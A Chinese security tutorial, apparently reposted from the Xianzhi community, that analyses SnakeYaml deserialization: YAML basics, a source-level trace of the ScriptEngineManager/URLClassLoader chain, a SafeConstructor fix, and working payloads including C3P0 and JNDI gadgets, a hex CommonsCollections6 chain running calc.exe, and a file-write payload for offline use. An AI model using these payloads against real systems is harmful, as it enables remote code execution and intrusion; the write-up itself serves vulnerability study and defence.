声明

出品|先知社区(ID:dawntown)

以下内容,来自先知社区的dawntown作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

Yaml语法

SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化,在此之前,先了解一下yaml语法

  1. YAML大小写敏感;

  2. 使用缩进代表层级关系;

  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

YAML支持三种数据结构:

1、对象

使用冒号代表,格式为key: value。冒号后面要加一个空格:

key: value

可以使用缩进表示层级关系:

key:
child-key: value
child-key2: value2

2、数组

使用一个短横线加一个空格代表一个数组项:

hobby:    - Java    - LOL

3、常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:

boolean: - TRUE  #true,True都可以- FALSE  #false,False都可以
float:- 3.14- 6.8523015e+5  #可以使用科学计数法
int:- 123- 0b1010_0111_0100_1010_1110    #二进制表示
null:nodeName: 'node'parent: ~  #使用~表示null
string:- 哈哈- 'Hello world'  #可以使用双引号或者单引号包裹特殊字符- newlinenewline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:- 2022-07-28    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: -  2022-07-28T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

看师傅推荐了一个yml文件转yaml字符串的地址,网上部分poc是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。

https://www.345tool.com/zh-hans/formatter/yaml-formatter

SnakeYaml序列化与反序列化

环境搭建

<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.27</version>
</dependency>

序列化

常用方法

String  dump(Object data)
将Java对象序列化为YAML字符串。
void    dump(Object data, Writer output)
将Java对象序列化为YAML流。
String  dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void    dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String  dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String  dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T   load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T   load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T   load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object>    loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>    loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>    loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;

  • Yaml.dump():将一个对象转化为yaml文件形式;

序列化测试

package Snake;
public class User {String name;int age;public User() {System.out.println("User构造函数");}public String getName() {System.out.println("User.getName");return name;}public void setName(String name) {System.out.println("User.setName");this.name = name;}public int getAge() {System.out.println("User.getAge");return age;}public void setAge(int age) {System.out.println("User.setAge");this.age = age;}
}
package Snake;
import org.yaml.snakeyaml.Yaml;
public class test {public static void main(String[] args) {unserialize();}public static void serialize(){User user = new User();user.setName("DawnT0wn");user.setAge(25);Yaml yaml = new Yaml();String str = yaml.dump(user);System.out.println(str);}public static void unserialize(){String str1 = "!!Snake.User {age: 25, name: DawnT0wn}";String str2 = "age: 25\n" +"name: DawnT0wn";Yaml yaml = new Yaml();yaml.load(str1);yaml.loadAs(str2, User.class);}
}

序列化值!!Snake.User {age: 25, name: DawnT0wn}

这里的!!类似于fastjson中的@type用于指定反序列化的全类名

反序列化

将序列化字符串反序列化看看效果

可以看到load和loadas都调用了对应的setter方法,而且loadas可以直接指定参数值,不用再指定类

SnakeYaml反序列化漏洞

从上面反序列化的过程中不难发现,这个依赖的反序列化和fastjson有异曲同工之妙,都是可以指定全类名然后去调用相应的setter方法

影响版本:全版本

漏洞原理:yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

漏洞复现

https://github.com/artsploit/yaml-payload/

按照github上面给的方式编译,修改一下命令即可

然后起一个web服务

SPI机制

开始我直接用一个编译好的恶意类生成的jar并无法命令执行,用GitHub的POC才打通,原来是存在一个SPI机制的原因,在把整个流程看完后,才发现这个机制的妙处

SPI,全称为Service Provider Interface,是一种服务发现机制。

它通过在ClassPath路径下的METAINF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现

也就是说,我们在META-INF/services下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类

实现原理:
程序会通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()创建对象,并存到缓存和列表里面

看看POC就知道了

在META-INF/services下有一个javax.script.Script-EngineFactory文件内容写上了我们的恶意类的名字,然后恶意类实现了这个接口,在最后加载的时候就会加载这个恶意类

至于为什么这么麻烦地去加载这个恶意类的原因:因为在exp中,如果直接写上恶意类的名字,在反序列化过程中会报错找不到相应的类(因为会在本地先获取类)

SPI机制nice0e3师傅讲的挺清楚的:

https://www.cnblogs.com/nice0e3/p/14514882.html

漏洞分析

从load方法开始

StreamReader类其实就是个赋值,没必要看,跟进loadFromReader

前面大多数都是赋值的操作,没太大的必要,不过调用BaseConstructor#setComposer()方法,对Composer进行赋值,最终进入

BaseConstructor#getSingleData(type)方法内,跟进后会调用this.composer.getSingleNode()方法对我们传入的payload进行处理,会把!!变成tagxx一类的标识,跟进getSingleData

可以看到!!标识已经变成了tag:yaml.arg.2022:,在网上也有师傅提到过在!!被过滤的情况下可以用这种tag标识来绕过(https://b1ue.cn/archives/407.html)

接下来跟进constructDocument方法

继续将node传入constructObject方法,继续跟进

protected Object constructObject(Node node) {return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
}

这里的判断为false,所以进入construct-ObjectNoCheck方法

Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);

三目运算符的判断条件和刚才是一样的,进入后面的分支,跟进construct方法

node一直是刚才处理后的node,跟进getConstructor

跟进getClassForNode

这里获取node中的tag的类名

最外层tag的类名就是ScriptEngineManager,之类只获取一次,所以获取到的name就是ScriptEngine-Manager,然后传入getClassForName

protected Class<?> getClassForName(String name) throws ClassNotFoundException {try {return Class.forName(name, true, Thread.currentThread().getContextClassLoader());} catch (ClassNotFoundException var3) {return Class.forName(name);}
}

这里就直接获取到ScriptEngineManager类然后返回了,回到getClassForNode

把这个tag和获取到的类放到了应该hashmap里面去,然后返回获取到的类

会设置这个node的Type为这个类,然后就往上返回

刚才进的getConstructor,现在继续往后看constructor方法,进来后向下步进走else分支

前面有一句

SequenceNode snode=(SequenceNode)node;,

就把node的类型转化一下,值还是一样的,因为只有一个value,所以size为1,这里相当于new ArrayList(1),往下就获取一个构造器,因为刚才设置了type为获取到的javax.script.ScriptEngineManager类,所以获取它的所有构造方法放到arr$数组里

然后通过for循环arr$添加到之前创造的数组possibleConstructors里面去,这里value只有一个,size为1,所以只有有一个参数的构造函数的length满足,这里两个构造函数只有第二个添加进去了,继续往下步进

去添加进去的第一个constructor,这里也就只有那一个

在for循环这里,通过迭代器解析下一次的tag,其实for循环里面做的操作和之前差不多,设置type,然后在这里再次调用constructObject,这里就和之前解析的流程一样的了,就不去跟了,最后是解析到java.net.URL(java.lang.String),因为此时i$是获取到的value也就是最后的url远程恶意类地址,没有下一个了,所以退出for,直接实例化

所以这里实例化的顺序是URL类,URLClassLoader类,ScriptEngineManager类,这里一层一层实例化进去的,但是现在只是实例化了javax.script.Script-EngineManager,通过URLClassLoader拿到了恶意类,不知道怎么触发最后的命令执行

跟进来到javax.script.ScriptEngineManager的构造函数

跟进init

跟进initEngines

这里默认返回的一个ServiceLoader的实例化,service是给定的javax.script.ScriptEngineManager,loader是我们写的URLClassLoader,这里其实就和前面讲到的SPI机制一样,调用getServiceLoader动态加载类,往下跟进hasNext

public boolean hasNext() {if (knownProviders.hasNext())return true;return lookupIterator.hasNext();
}

跟进lookupIterator.hasNext()

public boolean hasNext() {if (acc == null) {return hasNextService();} else {PrivilegedAction<Boolean> action = new PrivilegedAction<Boolean>() {public Boolean run() { return hasNextService(); }};return AccessController.doPrivileged(action, acc);}
}

跟进hashNextService

这里去获取

METAINF/services/javax.script.ScriptEngineFactory类信息,最后返回true

跟进itr.next

public S next() {if (knownProviders.hasNext())return knownProviders.next().getValue();return lookupIterator.next();
}

跟进lookupIterator.next()

public S next() {if (acc == null) {return nextService();} else {PrivilegedAction<S> action = new PrivilegedAction<S>() {public S run() { return nextService(); }};return AccessController.doPrivileged(action, acc);}
}

跟进nextService

第一次实例化的是NashornScriptEngineFactory,第二次才是POC类

最后实例化POC类加载恶意代码,这里才是真的去找

META-INF/services/javax.script.ScriptEngineFactory的信息判断返回,如果没有则会返回false,有的话会去获取到里面的信息放到nextName里面

然后在第二次进入next的时候走到nextService的时候获取类名然后实例化

漏洞修复

这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()类进行过滤

package Snake;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;
public class snaketest {public static void main(String[] args) {String context = "!!javax.script.ScriptEngineManager [\n" +"  !!java.net.URLClassLoader [[\n" +"    !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +"  ]]\n" +"]";Yaml yaml = new Yaml(new SafeConstructor());yaml.load(context);}
}

loadas反序列化

在之前我们都是用的load反序列化,通过指定类,但是在loadas反序列化的情况下,已经被指定了类

区别

public <T> T load(String yaml) {return this.loadFromReader(new StreamReader(yaml), Object.class);
}
public <T> T loadAs(String yaml, Class<T> type) {return this.loadFromReader(new StreamReader(yaml), type);}

只是后面type不一样,其实只是只要在loadas指定的类里面找到一个Object类型的参数,指定为之前的payload也能造成相应的效果

package test;
public class Person  {public String username;public String age;public boolean isLogin;public Address address;
}
package test;
public class Address {public String street;public Object ext;public boolean isValid;
}
package test;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.yaml.snakeyaml.Yaml;
public class test {public static void main(String[] args) throws Exception{String str = "address: {ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]]]]}";Yaml yaml = new Yaml();yaml.loadAs(str,Person.class);}
}

其他利用姿势

C3P0

Gadget

之前了解了C3P0配合fastjson来进行jndi注入和加载hex,既然SnakeYaml和fastjson都是可以指定类调用其setter方法,那这里也可以去利用

package Snake;import org.yaml.snakeyaml.Yaml;import java.io.FileInputStream;import java.io.IOException;import java.io.InputStream;public class Snakewithfast {    public static void main(String[] args) throws IOException, ClassNotFoundException {        InputStream in = new FileInputStream("cc6.bin");        byte[] data = toByteArray(in);        in.close();        String HexString = bytesToHexString(data, data.length);        System.out.println(HexString);//        String HexString = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001b0000000171007e0020737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878";        Yaml yaml = new Yaml();        String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +                "userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';        yaml.load(str);    }    public static byte[] toByteArray(InputStream in) throws IOException {        byte[] classBytes;        classBytes = new byte[in.available()];        in.read(classBytes);        in.close();        return classBytes;    }    public static String bytesToHexString(byte[] bArray, int length) {        StringBuffer sb = new StringBuffer(length);        for(int i = 0; i < length; ++i) {            String sTemp = Integer.toHexString(255 & bArray[i]);            if (sTemp.length() < 2) {                sb.append(0);            }            sb.append(sTemp.toUpperCase());        }        return sb.toString();    }}

结尾的分号是因为hexstring长度不为偶数

一样的,要存在相应的链子才行

Jndi

package Snake;
import org.yaml.snakeyaml.Yaml;
public class Snakewithjndi {public static void main(String[] args) throws Exception {String str = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +"jndiName: rmi://127.0.0.1:1099/EXP\n" +"loginTimeout: 0";Yaml yaml = new Yaml();yaml.load(str);}
}

package Snake;
import org.yaml.snakeyaml.Yaml;
public class Snakewithjndi {public static void main(String[] args) throws Exception {String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +"dataSourceName: rmi://127.0.0.1:1099/EXP\n" +"autoCommit: true";Yaml yaml = new Yaml();yaml.load(str);}
}

不出网利用

在fastjson1.2.68当中,存在一个任意文件写入的反序列化漏洞

{'@type':"java.lang.AutoCloseable",'@type':'sun.rmi.server.MarshalOutputStream','out':{'@type':'java.util.zip.InflaterOutputStream','out':{'@type':'java.io.FileOutputStream','file':'dst','append':false},'infl':{'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='},'bufLen':1048576},'protocolVersion':1
}

可以看到并没有依赖fastjson的一些类,这些都是java自带的,那SnakeYaml也是可以用到的

改写一下

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater  { input: !!binary base64str },1048576]]

Destpath是目的路径,base64str为经过zlib压缩过后的文件内容

cat yaml-payload.jar | openssl zlib | base64 -w 0

因为我的openssl没有添加zlib支持就没有去弄了,但是师傅写了一个直接生成yaml序列化的POC

package Snake;
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {public static void main(String [] args) throws Exception {String poc = createPoC("C:/Users/ga't'c/Desktop/临时/yaml-payload-master/yaml-payload.jar","./yaml.jar");Yaml yaml = new Yaml();yaml.load(poc);}public static String createPoC(String SrcPath,String Destpath) throws Exception {File file = new File(SrcPath);Long FileLength = file.length();byte[] FileContent = new byte[FileLength.intValue()];try{FileInputStream in = new FileInputStream(file);in.read(FileContent);in.close();}catch (FileNotFoundException e){e.printStackTrace();}byte[] compressbytes = compress(FileContent);String base64str = Base64.getEncoder().encodeToString(compressbytes);String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater  { input: !!binary "+base64str+" },1048576]]";System.out.println(poc);return poc;}public static byte[] compress(byte[] data) {byte[] output = new byte[0];Deflater compresser = new Deflater();compresser.reset();compresser.setInput(data);compresser.finish();ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);try {byte[] buf = new byte[1024];while (!compresser.finished()) {int i = compresser.deflate(buf);bos.write(buf, 0, i);}output = bos.toByteArray();} catch (Exception e) {output = data;e.printStackTrace();} finally {try {bos.close();} catch (IOException e) {e.printStackTrace();}}compresser.end();return output;}
}

生成了yaml.jar,接下来就是我们最开始的反序列化洞了,URLClassLoader不仅可以远程加载,也可以直接用file://加载本地的jar包

package Snake;
import org.yaml.snakeyaml.Yaml;
public class snaketest {public static void main(String[] args) {String context = "!!javax.script.ScriptEngineManager [\n" +"  !!java.net.URLClassLoader [[\n" +"    !!java.net.URL [\"file:./yaml.jar\"]\n" +"  ]]\n" +"]";Yaml yaml = new Yaml();yaml.load(context);}
}

因为我用的windows,我试了一下要直接file:这样来加载,不过在linux下还是得file://

其实SnakeYaml和fastjson有很多通用的点,都是可以去调对应的setter方法,我试了几条fastjson的链子,都基本上是能通的,又去想过用fastjson加载恶意类的方式去试试,但是发现那个是调用的getter方法

参考链接

  1. https://www.cnblogs.com/nice0e3/p/14514882.html

  2. https://www.cnblogs.com/CoLo/p/16225141.html

  3. https://xz.aliyun.com/t/10655

SnakeYaml反序列化相关推荐

  1. 『Java安全』SnakeYAML反序列化利用基础

    文章目录 前言 YAML基础 依赖 SnakeYAML序列化和反序列化基础 序列化 反序列化 SnakeYAML反序列化利用 原理 PoC 探测-触发dnslog 基于SPI的ScriptEngine ...

  2. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 0x00 前言 偶然间看到SnakeYaml的资料感觉挺有意思,发现SnakeYaml也存在反序列化利用的问题.借此来分析一波. 0x01 SnakeYa ...

  3. 漏洞深度分析|CVE-2022-1471 SnakeYaml 命令执行漏洞

    项目介绍 YAML是一种数据序列化格式,设计用于人类的可读性和与脚本语言的交互. SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序 ...

  4. [HECTF 2022]—Web WirteUp

    文章目录 迷路的小狮 擎天注 easy_unserialize littleJava shiro权限绕过 snakeYaml反序列化 easyJava newphp 后记 迷路的小狮 从头到尾凭猜,凭 ...

  5. java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit

    0x00 前言 1. 描述 官方github描述: Java Unmarshaller Security - Turning your data into code execution "将 ...

  6. java 反序列化利用工具 marshalsec 使用简介

    命令格式 marshalsec命令格式如下: java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller&g ...

  7. 【网络安全】Nacos Client Yaml反序列化漏洞分析

    背景 Nacos 致力于帮助您发现.配置和管理微服务.Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现.服务配置.服务元数据及流量管理. Nacos 帮助您更敏捷和容易地构建.交付和 ...

  8. Javaweb安全——Dubbo 反序列化(一)

    Dubbo 反序列化(一) Dubbo 基础 Apache Dubbo 是一款 RPC 服务开发框架.提供三个核心功能:面向接口的远程方法调用.智能容错和负载均衡,以及服务自动注册和发现. 节点角色 ...

  9. snakeyaml 简介、中文文档、中英对照文档 下载

    snakeyaml 文档 下载链接(含jar包.源码.pom) 组件名称 中文-文档-下载链接 中英对照-文档-下载链接 snakeyaml-1.12.jar snakeyaml-1.12-API文档 ...

最新文章

  1. 差点的更好设计理念的兴起
  2. CSS样式----标记选择器
  3. java工程师占比_Java过时了吗?
  4. noi题库(noi.openjudge.cn) 3.9数据结构之C++STL T1——T2
  5. php微信公众号获取天气预报,【微信公众平台开发】封装获取天气预报功能
  6. 数字化在金融领域的应用与实践,从“我觉得”到“用户觉得”
  7. wxWidgets:wxAutomationObject类用法
  8. 特权级概述(哥子就想知道CPU是如何验证特权级的)GATE+TSS
  9. 如何使用TypeScript和Webpack Hot Module Replacement构建Apollo GraphQL服务器
  10. CMake PROJECT_BINARY_DIR和PROJECT_SOURCE_DIR区别
  11. 【转】IsCallBack属性和IsPostBack属性有什么区别?
  12. anyview下载java,下载AnyviewMobile Games Java - 596763 - ebook txt Anyview | mobile9
  13. 在java中获取当前系统时间 插入数据库中的时间值没有时间只有日期的原因...
  14. 超轻薄笔记本电脑软件测试,一口气测了三款轻薄本 这三个核心问题有答案了...
  15. 脑机接口的商业化道路,还要走多远多长?
  16. imageai--自动机器学习初体验
  17. NVIDIA Jetson TX2 更新软件源
  18. php二级栏目出不来,dedecms判断二级栏目为空不显示的方法
  19. 含参变量积分------数学分析中重要的分析工具
  20. 排线颜色及排序视觉检测系统

热门文章

  1. 查看串口波特率、停止位数、奇偶校验位信息,更改COM
  2. win10 修改用户目录(%USERPROFILE%)位置
  3. LINUX USB驱动开发(2)-USB驱动体系分析
  4. 吃透Java基础一:Java访问权限修饰符
  5. 计算机入门教程 office2007入门,大学计算机基础教程Office2007版.PPT
  6. “子弹短信也压根撼动不了腾讯” | 畅言
  7. 为什么在国外火得不要不要的堡垒之夜在国内就是干不过绝地求生呢?
  8. jedis连接redis失败解决
  9. r7 4800h安装linux,华硕天选(R7-4800H) u盘pe如何重装win7系统
  10. 计算机3级有用,计算机三级有用吗